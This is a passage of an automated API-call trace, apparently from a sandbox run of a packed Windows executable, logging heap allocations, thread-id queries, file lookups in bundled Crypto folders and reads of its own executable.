[0075.536] GetLastError () returned 0x0 [0075.536] GetLastError () returned 0x0 [0075.536] GetCurrentThreadId () returned 0x9b0 [0075.537] GetLastError () returned 0x0 [0075.537] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x334d920 | out: hHeap=0x2ad0000) returned 1 [0075.537] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x337c2b8, Size=0x849) returned 0x337c2b8 [0075.537] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x325fe50 | out: hHeap=0x2ad0000) returned 1 [0075.537] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c84158 [0075.537] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2c84158, Size=0x20) returned 0x3028378 [0075.537] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x3028378, Size=0x40) returned 0x2a18e18 [0075.537] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a18e18, Size=0x64) returned 0x2a197a8 [0075.537] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a197a8, Size=0x8c) returned 0x2ac01f0 [0075.537] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2ac01f0, Size=0xb8) returned 0x2cde128 [0075.537] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2cde128 | out: hHeap=0x2ad0000) returned 1 [0075.537] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x337c2b8 | out: hHeap=0x2ad0000) returned 1 [0075.537] GetCurrentThreadId () returned 0x9b0 [0075.537] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x118) returned 0x2c919d0 [0075.537] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c919d0 | out: hHeap=0x2ad0000) returned 1 [0075.537] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x32abbf0 [0075.537] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x32e2798 [0075.537] GetCurrentThreadId () returned 0x9b0 [0075.537] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1a6b8 [0075.537] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1a488 [0075.538] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1a370 [0075.538] GetCurrentThreadId () returned 0x9b0 [0075.538] GetCurrentThreadId () returned 0x9b0 [0075.538] GetCurrentThreadId () returned 0x9b0 [0075.538] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x31de880 [0075.538] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31de880 | out: hHeap=0x2ad0000) returned 1 [0075.538] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x31de928 [0075.538] GetCurrentThreadId () returned 0x9b0 [0075.538] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x31de928, Size=0x18) returned 0x3183ac0 [0075.538] GetCurrentThreadId () returned 0x9b0 [0075.538] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3183ac0 | out: hHeap=0x2ad0000) returned 1 [0075.538] GetCurrentThreadId () returned 0x9b0 [0075.538] GetCurrentThreadId () returned 0x9b0 [0075.538] GetLastError () returned 0x0 [0075.538] GetLastError () returned 0x0 [0075.538] FindFirstFileA (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11~1\\Crypto\\Cipher", lpFindFileData=0x9baa08 | out: lpFindFileData=0x9baa08*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xdd4b7ceb, ftCreationTime.dwHighDateTime=0x1d5215d, ftLastAccessTime.dwLowDateTime=0xdd5e8d3c, ftLastAccessTime.dwHighDateTime=0x1d5215d, ftLastWriteTime.dwLowDateTime=0xdd5e8d3c, ftLastWriteTime.dwHighDateTime=0x1d5215d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x77bef987, dwReserved1=0x48, cFileName="Cipher", cAlternateFileName="")) returned 0x10555e0 [0075.538] FileTimeToLocalFileTime (in: lpFileTime=0x9baa1c, lpLocalFileTime=0x9ba9ec | out: lpLocalFileTime=0x9ba9ec) returned 1 [0075.538] FileTimeToSystemTime (in: lpFileTime=0x9ba9ec, lpSystemTime=0x9ba9f4 | out: lpSystemTime=0x9ba9f4) returned 1 [0075.538] FileTimeToLocalFileTime (in: lpFileTime=0x9baa14, lpLocalFileTime=0x9ba9ec | out: lpLocalFileTime=0x9ba9ec) returned 1 [0075.539] FileTimeToSystemTime (in: lpFileTime=0x9ba9ec, lpSystemTime=0x9ba9f4 | out: lpSystemTime=0x9ba9f4) returned 1 [0075.539] FileTimeToLocalFileTime (in: lpFileTime=0x9baa0c, lpLocalFileTime=0x9ba9ec | out: lpLocalFileTime=0x9ba9ec) returned 1 [0075.539] FileTimeToSystemTime (in: lpFileTime=0x9ba9ec, lpSystemTime=0x9ba9f4 | out: lpSystemTime=0x9ba9f4) returned 1 [0075.539] FindClose (in: hFindFile=0x10555e0 | out: hFindFile=0x10555e0) returned 1 [0075.539] GetLastError () returned 0x0 [0075.539] GetCurrentThreadId () returned 0x9b0 [0075.539] GetCurrentThreadId () returned 0x9b0 [0075.539] GetCurrentThreadId () returned 0x9b0 [0075.539] GetCurrentThreadId () returned 0x9b0 [0075.539] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1a370 | out: hHeap=0x2ad0000) returned 1 [0075.539] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1a488 | out: hHeap=0x2ad0000) returned 1 [0075.539] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1a6b8 | out: hHeap=0x2ad0000) returned 1 [0075.539] GetCurrentThreadId () returned 0x9b0 [0075.539] GetCurrentThreadId () returned 0x9b0 [0075.539] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1af78 [0075.539] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1a5a0 [0075.539] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1ae60 [0075.539] GetCurrentThreadId () returned 0x9b0 [0075.539] GetCurrentThreadId () returned 0x9b0 [0075.539] GetCurrentThreadId () returned 0x9b0 [0075.539] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x31de730 [0075.540] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31de730 | out: hHeap=0x2ad0000) returned 1 [0075.540] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x31de998 [0075.540] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x31de998, Size=0x18) returned 0x3183960 [0075.540] GetCurrentThreadId () returned 0x9b0 [0075.540] GetCurrentThreadId () returned 0x9b0 [0075.540] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3183960 | out: hHeap=0x2ad0000) returned 1 [0075.540] GetCurrentThreadId () returned 0x9b0 [0075.540] GetCurrentThreadId () returned 0x9b0 [0075.540] GetCurrentThreadId () returned 0x9b0 [0075.540] GetCurrentThreadId () returned 0x9b0 [0075.540] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1ae60 | out: hHeap=0x2ad0000) returned 1 [0075.540] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1a5a0 | out: hHeap=0x2ad0000) returned 1 [0075.540] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1a370 [0075.540] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1aa00 [0075.540] GetCurrentThreadId () returned 0x9b0 [0075.540] GetCurrentThreadId () returned 0x9b0 [0075.540] GetCurrentThreadId () returned 0x9b0 [0075.540] GetCurrentThreadId () returned 0x9b0 [0075.540] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1aa00 | out: hHeap=0x2ad0000) returned 1 [0075.540] GetCurrentThreadId () returned 0x9b0 [0075.540] GetCurrentThreadId () returned 0x9b0 [0075.540] GetLastError () returned 0x0 [0075.541] GetLastError () returned 0x0 [0075.541] GetLastError () returned 0x0 [0075.541] GetLastError () returned 0x0 [0075.541] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c84248 | out: hHeap=0x2ad0000) returned 1 [0075.541] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x5) returned 0x32aba70 [0075.541] GetLastError () returned 0x0 [0075.541] CreateFileA (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUSERS~1.EXE" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers~1.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x9ba508, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2f0 [0075.541] GetFileType (hFile=0x2f0) returned 0x1 [0075.541] GetLastError () returned 0x0 [0075.541] GetCurrentThreadId () returned 0x9b0 [0075.541] GetLastError () returned 0x0 [0075.541] GetFileType (hFile=0x2f0) returned 0x1 [0075.541] GetFileInformationByHandle (in: hFile=0x2f0, lpFileInformation=0x9ba584 | out: lpFileInformation=0x9ba584) returned 1 [0075.541] FileTimeToLocalFileTime (in: lpFileTime=0x9ba598, lpLocalFileTime=0x9ba5c8 | out: lpLocalFileTime=0x9ba5c8) returned 1 [0075.542] FileTimeToSystemTime (in: lpFileTime=0x9ba5c8, lpSystemTime=0x9ba5b8 | out: lpSystemTime=0x9ba5b8) returned 1 [0075.542] FileTimeToLocalFileTime (in: lpFileTime=0x9ba590, lpLocalFileTime=0x9ba5c8 | out: lpLocalFileTime=0x9ba5c8) returned 1 [0075.542] FileTimeToSystemTime (in: lpFileTime=0x9ba5c8, lpSystemTime=0x9ba5b8 | out: lpSystemTime=0x9ba5b8) returned 1 [0075.542] FileTimeToLocalFileTime (in: lpFileTime=0x9ba588, lpLocalFileTime=0x9ba5c8 | out: lpLocalFileTime=0x9ba5c8) returned 1 [0075.542] FileTimeToSystemTime (in: lpFileTime=0x9ba5c8, lpSystemTime=0x9ba5b8 | out: lpSystemTime=0x9ba5b8) returned 1 [0075.542] GetLastError () returned 0x0 [0075.542] GetCurrentThreadId () returned 0x9b0 [0075.542] GetLastError () returned 0x0 [0075.542] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x32aba70 | out: hHeap=0x2ad0000) returned 1 [0075.542] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1ff58 | out: hHeap=0x2ad0000) returned 1 [0075.542] GetLastError () returned 0x0 [0075.542] GetLastError () returned 0x0 [0075.542] GetCurrentThreadId () returned 0x9b0 [0075.542] GetLastError () returned 0x0 [0075.542] GetCurrentThreadId () returned 0x9b0 [0075.542] GetCurrentThreadId () returned 0x9b0 [0075.542] GetLastError () returned 0x0 [0075.542] GetLastError () returned 0x0 [0075.542] GetCurrentThreadId () returned 0x9b0 [0075.543] GetLastError () returned 0x0 [0075.543] GetCurrentThreadId () returned 0x9b0 [0075.543] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8de) returned 0x334d920 [0075.543] GetLastError () returned 0x0 [0075.543] GetLastError () returned 0x0 [0075.543] GetCurrentThreadId () returned 0x9b0 [0075.543] GetCurrentThreadId () returned 0x9b0 [0075.543] GetCurrentThreadId () returned 0x9b0 [0075.543] CloseHandle (hObject=0x2f0) returned 1 [0075.543] GetCurrentThreadId () returned 0x9b0 [0075.543] GetCurrentThreadId () returned 0x9b0 [0075.543] GetCurrentThreadId () returned 0x9b0 [0075.543] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x32e10a0 [0075.543] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x32abbe0 [0075.543] GetCurrentThreadId () returned 0x9b0 [0075.544] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1ac30 [0075.544] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1aa00 [0075.544] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1a7d0 [0075.544] GetCurrentThreadId () returned 0x9b0 [0075.544] GetCurrentThreadId () returned 0x9b0 [0075.544] GetCurrentThreadId () returned 0x9b0 [0075.544] GetCurrentThreadId () returned 0x9b0 [0075.544] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1a7d0 | out: hHeap=0x2ad0000) returned 1 [0075.544] GetCurrentThreadId () returned 0x9b0 [0075.544] GetCurrentThreadId () returned 0x9b0 [0075.544] CreateFileA (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUSERS~1.EXE" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers~1.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x9b9eb8, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2f0 [0075.544] GetFileType (hFile=0x2f0) returned 0x1 [0075.544] GetCurrentThreadId () returned 0x9b0 [0075.544] GetFileType (hFile=0x2f0) returned 0x1 [0075.544] GetFileInformationByHandle (in: hFile=0x2f0, lpFileInformation=0x9b9f34 | out: lpFileInformation=0x9b9f34) returned 1 [0075.544] FileTimeToLocalFileTime (in: lpFileTime=0x9b9f48, lpLocalFileTime=0x9b9f78 | out: lpLocalFileTime=0x9b9f78) returned 1 [0075.544] FileTimeToSystemTime (in: lpFileTime=0x9b9f78, lpSystemTime=0x9b9f68 | out: lpSystemTime=0x9b9f68) returned 1 [0075.545] FileTimeToLocalFileTime (in: lpFileTime=0x9b9f40, lpLocalFileTime=0x9b9f78 | out: lpLocalFileTime=0x9b9f78) returned 1 [0075.545] FileTimeToSystemTime (in: lpFileTime=0x9b9f78, lpSystemTime=0x9b9f68 | out: lpSystemTime=0x9b9f68) returned 1 [0075.545] FileTimeToLocalFileTime (in: lpFileTime=0x9b9f38, lpLocalFileTime=0x9b9f78 | out: lpLocalFileTime=0x9b9f78) returned 1 [0075.545] FileTimeToSystemTime (in: lpFileTime=0x9b9f78, lpSystemTime=0x9b9f68 | out: lpSystemTime=0x9b9f68) returned 1 [0075.545] GetLastError () returned 0x0 [0075.545] GetCurrentThreadId () returned 0x9b0 [0075.545] GetLastError () returned 0x0 [0075.545] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x32abbd0 | out: hHeap=0x2ad0000) returned 1 [0075.545] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a200d8 | out: hHeap=0x2ad0000) returned 1 [0075.545] GetLastError () returned 0x0 [0075.545] GetLastError () returned 0x0 [0075.545] GetCurrentThreadId () returned 0x9b0 [0075.545] GetLastError () returned 0x0 [0075.545] GetCurrentThreadId () returned 0x9b0 [0075.545] GetLastError () returned 0x0 [0075.545] GetLastError () returned 0x0 [0075.545] GetCurrentThreadId () returned 0x9b0 [0075.545] GetLastError () returned 0x0 [0075.545] GetCurrentThreadId () returned 0x9b0 [0075.546] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x219) returned 0x334e028 [0075.546] GetLastError () returned 0x0 [0075.546] GetLastError () returned 0x0 [0075.546] GetCurrentThreadId () returned 0x9b0 [0075.546] GetLastError () returned 0x0 [0075.546] GetCurrentThreadId () returned 0x9b0 [0075.546] GetCurrentThreadId () returned 0x9b0 [0075.546] GetLastError () returned 0x0 [0075.546] GetLastError () returned 0x0 [0075.546] GetCurrentThreadId () returned 0x9b0 [0075.546] GetLastError () returned 0x0 [0075.546] GetLastError () returned 0x0 [0075.546] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2cc64e8 | out: hHeap=0x2ad0000) returned 1 [0075.546] CloseHandle (hObject=0x2f0) returned 1 [0075.546] GetLastError () returned 0x0 [0075.546] GetCurrentThreadId () returned 0x9b0 [0075.546] GetLastError () returned 0x0 [0075.547] GetLastError () returned 0x0 [0075.547] GetCurrentThreadId () returned 0x9b0 [0075.547] GetLastError () returned 0x0 [0075.547] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x334e250 | out: hHeap=0x2ad0000) returned 1 [0075.547] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x337c2b8, Size=0x464) returned 0x337c2b8 [0075.547] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x334e028 | out: hHeap=0x2ad0000) returned 1 [0075.547] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x370) returned 0x334e028 [0075.547] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c84338 [0075.547] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2c84338, Size=0x20) returned 0x30283f0 [0075.547] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x30283f0, Size=0x40) returned 0x2a18f80 [0075.547] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a18f80 | out: hHeap=0x2ad0000) returned 1 [0075.547] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x337c2b8 | out: hHeap=0x2ad0000) returned 1 [0075.547] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x110) returned 0x2c919d0 [0075.547] GetCurrentThreadId () returned 0x9b0 [0075.547] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c919d0 | out: hHeap=0x2ad0000) returned 1 [0075.547] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x32abbd0 [0075.547] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x32e1538 [0075.547] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x18) returned 0x3183ac0 [0075.547] GetCurrentThreadId () returned 0x9b0 [0075.548] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1aa00 | out: hHeap=0x2ad0000) returned 1 [0075.548] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1ad48 [0075.548] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1a488 [0075.548] GetCurrentThreadId () returned 0x9b0 [0075.548] GetCurrentThreadId () returned 0x9b0 [0075.548] GetCurrentThreadId () returned 0x9b0 [0075.548] GetCurrentThreadId () returned 0x9b0 [0075.548] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1a488 | out: hHeap=0x2ad0000) returned 1 [0075.548] GetCurrentThreadId () returned 0x9b0 [0075.548] GetCurrentThreadId () returned 0x9b0 [0075.548] GetLastError () returned 0x0 [0075.548] GetLastError () returned 0x0 [0075.548] GetLastError () returned 0x0 [0075.548] GetLastError () returned 0x0 [0075.548] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c84338 | out: hHeap=0x2ad0000) returned 1 [0075.548] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x5) returned 0x32aba80 [0075.548] GetLastError () returned 0x0 [0075.548] CreateFileA (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUSERS~1.EXE" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers~1.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x9b9eb8, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2f0 [0075.549] GetFileType (hFile=0x2f0) returned 0x1 [0075.549] GetLastError () returned 0x0 [0075.549] GetCurrentThreadId () returned 0x9b0 [0075.549] GetLastError () returned 0x0 [0075.549] GetFileType (hFile=0x2f0) returned 0x1 [0075.549] GetFileInformationByHandle (in: hFile=0x2f0, lpFileInformation=0x9b9f34 | out: lpFileInformation=0x9b9f34) returned 1 [0075.549] FileTimeToLocalFileTime (in: lpFileTime=0x9b9f48, lpLocalFileTime=0x9b9f78 | out: lpLocalFileTime=0x9b9f78) returned 1 [0075.549] FileTimeToSystemTime (in: lpFileTime=0x9b9f78, lpSystemTime=0x9b9f68 | out: lpSystemTime=0x9b9f68) returned 1 [0075.549] FileTimeToLocalFileTime (in: lpFileTime=0x9b9f40, lpLocalFileTime=0x9b9f78 | out: lpLocalFileTime=0x9b9f78) returned 1 [0075.549] FileTimeToSystemTime (in: lpFileTime=0x9b9f78, lpSystemTime=0x9b9f68 | out: lpSystemTime=0x9b9f68) returned 1 [0075.549] FileTimeToLocalFileTime (in: lpFileTime=0x9b9f38, lpLocalFileTime=0x9b9f78 | out: lpLocalFileTime=0x9b9f78) returned 1 [0075.549] FileTimeToSystemTime (in: lpFileTime=0x9b9f78, lpSystemTime=0x9b9f68 | out: lpSystemTime=0x9b9f68) returned 1 [0075.549] GetLastError () returned 0x0 [0075.549] GetCurrentThreadId () returned 0x9b0 [0075.549] GetLastError () returned 0x0 [0075.549] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x32aba80 | out: hHeap=0x2ad0000) returned 1 [0075.549] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a20258 | out: hHeap=0x2ad0000) returned 1 [0075.549] GetLastError () returned 0x0 [0075.549] GetLastError () returned 0x0 [0075.550] GetCurrentThreadId () returned 0x9b0 [0075.550] GetLastError () returned 0x0 [0075.550] GetCurrentThreadId () returned 0x9b0 [0075.550] GetCurrentThreadId () returned 0x9b0 [0075.550] GetLastError () returned 0x0 [0075.550] GetLastError () returned 0x0 [0075.550] GetCurrentThreadId () returned 0x9b0 [0075.550] GetLastError () returned 0x0 [0075.550] GetCurrentThreadId () returned 0x9b0 [0075.550] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xff6) returned 0x334e3a0 [0075.550] GetLastError () returned 0x0 [0075.550] GetLastError () returned 0x0 [0075.550] GetCurrentThreadId () returned 0x9b0 [0075.550] GetLastError () returned 0x0 [0075.550] GetCurrentThreadId () returned 0x9b0 [0075.550] GetLastError () returned 0x0 [0075.550] GetLastError () returned 0x0 [0075.550] GetCurrentThreadId () returned 0x9b0 [0075.550] GetLastError () returned 0x0 [0075.551] GetLastError () returned 0x0 [0075.551] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2cc64e8 | out: hHeap=0x2ad0000) returned 1 [0075.551] CloseHandle (hObject=0x2f0) returned 1 [0075.551] GetLastError () returned 0x0 [0075.551] GetCurrentThreadId () returned 0x9b0 [0075.551] GetLastError () returned 0x0 [0075.551] GetLastError () returned 0x0 [0075.551] GetCurrentThreadId () returned 0x9b0 [0075.551] GetLastError () returned 0x0 [0075.551] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x334f3a0 | out: hHeap=0x2ad0000) returned 1 [0075.551] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x337c2b8, Size=0x29df) returned 0x337c2b8 [0075.551] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x334e3a0 | out: hHeap=0x2ad0000) returned 1 [0075.551] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x402) returned 0x334e3a0 [0075.551] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c84398 [0075.551] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2c84398, Size=0x20) returned 0x3028238 [0075.551] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x3028238, Size=0x40) returned 0x2a19370 [0075.551] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a19370, Size=0x64) returned 0x2a19b28 [0075.552] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a19b28, Size=0x8c) returned 0x2ac0f98 [0075.552] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2ac0f98, Size=0xb8) returned 0x2cde7e8 [0075.552] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2cde7e8, Size=0xe8) returned 0x3259e50 [0075.552] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x3259e50, Size=0x120) returned 0x2c37020 [0075.552] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2c37020, Size=0x160) returned 0x325f140 [0075.552] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x325f140, Size=0x1a8) returned 0x3028ca8 [0075.552] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x3028ca8, Size=0x1f8) returned 0x2c2fd80 [0075.552] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2c2fd80, Size=0x250) returned 0x2ac5098 [0075.552] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2ac5098, Size=0x2b4) returned 0x2c2c9f8 [0075.552] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c2c9f8 | out: hHeap=0x2ad0000) returned 1 [0075.552] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x337c2b8 | out: hHeap=0x2ad0000) returned 1 [0075.552] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x32abaa0 [0075.552] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x32abaa0 | out: hHeap=0x2ad0000) returned 1 [0075.552] GetCurrentThreadId () returned 0x9b0 [0075.552] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x32e1848 [0075.553] GetCurrentThreadId () returned 0x9b0 [0075.553] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1a5a0 [0075.553] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1a6b8 [0075.553] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1a488 [0075.553] GetCurrentThreadId () returned 0x9b0 [0075.553] GetCurrentThreadId () returned 0x9b0 [0075.553] GetCurrentThreadId () returned 0x9b0 [0075.553] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x31de730 [0075.553] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31de730 | out: hHeap=0x2ad0000) returned 1 [0075.553] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x31de650 [0075.553] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x31de650, Size=0x18) returned 0x3183bc0 [0075.553] GetCurrentThreadId () returned 0x9b0 [0075.553] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3183bc0 | out: hHeap=0x2ad0000) returned 1 [0075.553] GetCurrentThreadId () returned 0x9b0 [0075.553] GetCurrentThreadId () returned 0x9b0 [0075.553] GetLastError () returned 0x0 [0075.553] GetLastError () returned 0x0 [0075.553] FindFirstFileA (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11~1\\Crypto\\Util", lpFindFileData=0x9b9d68 | out: lpFindFileData=0x9b9d68*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xdd7f4505, ftCreationTime.dwHighDateTime=0x1d5215d, ftLastAccessTime.dwLowDateTime=0xdd7f4505, ftLastAccessTime.dwHighDateTime=0x1d5215d, ftLastWriteTime.dwLowDateTime=0xdd7f4505, ftLastWriteTime.dwHighDateTime=0x1d5215d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x77bef987, dwReserved1=0x268, cFileName="Util", cAlternateFileName="")) returned 0x10556e0 [0075.554] FileTimeToLocalFileTime (in: lpFileTime=0x9b9d7c, lpLocalFileTime=0x9b9d4c | out: lpLocalFileTime=0x9b9d4c) returned 1 [0075.554] FileTimeToSystemTime (in: lpFileTime=0x9b9d4c, lpSystemTime=0x9b9d54 | out: lpSystemTime=0x9b9d54) returned 1 [0075.554] FileTimeToLocalFileTime (in: lpFileTime=0x9b9d74, lpLocalFileTime=0x9b9d4c | out: lpLocalFileTime=0x9b9d4c) returned 1 [0075.554] FileTimeToSystemTime (in: lpFileTime=0x9b9d4c, lpSystemTime=0x9b9d54 | out: lpSystemTime=0x9b9d54) returned 1 [0075.554] FileTimeToLocalFileTime (in: lpFileTime=0x9b9d6c, lpLocalFileTime=0x9b9d4c | out: lpLocalFileTime=0x9b9d4c) returned 1 [0075.554] FileTimeToSystemTime (in: lpFileTime=0x9b9d4c, lpSystemTime=0x9b9d54 | out: lpSystemTime=0x9b9d54) returned 1 [0075.554] FindClose (in: hFindFile=0x10556e0 | out: hFindFile=0x10556e0) returned 1 [0075.554] GetLastError () returned 0x0 [0075.554] GetCurrentThreadId () returned 0x9b0 